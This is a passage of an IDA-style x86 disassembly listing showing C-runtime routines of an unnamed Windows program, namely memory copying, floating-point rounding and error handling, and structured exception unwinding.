		align 10h

loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
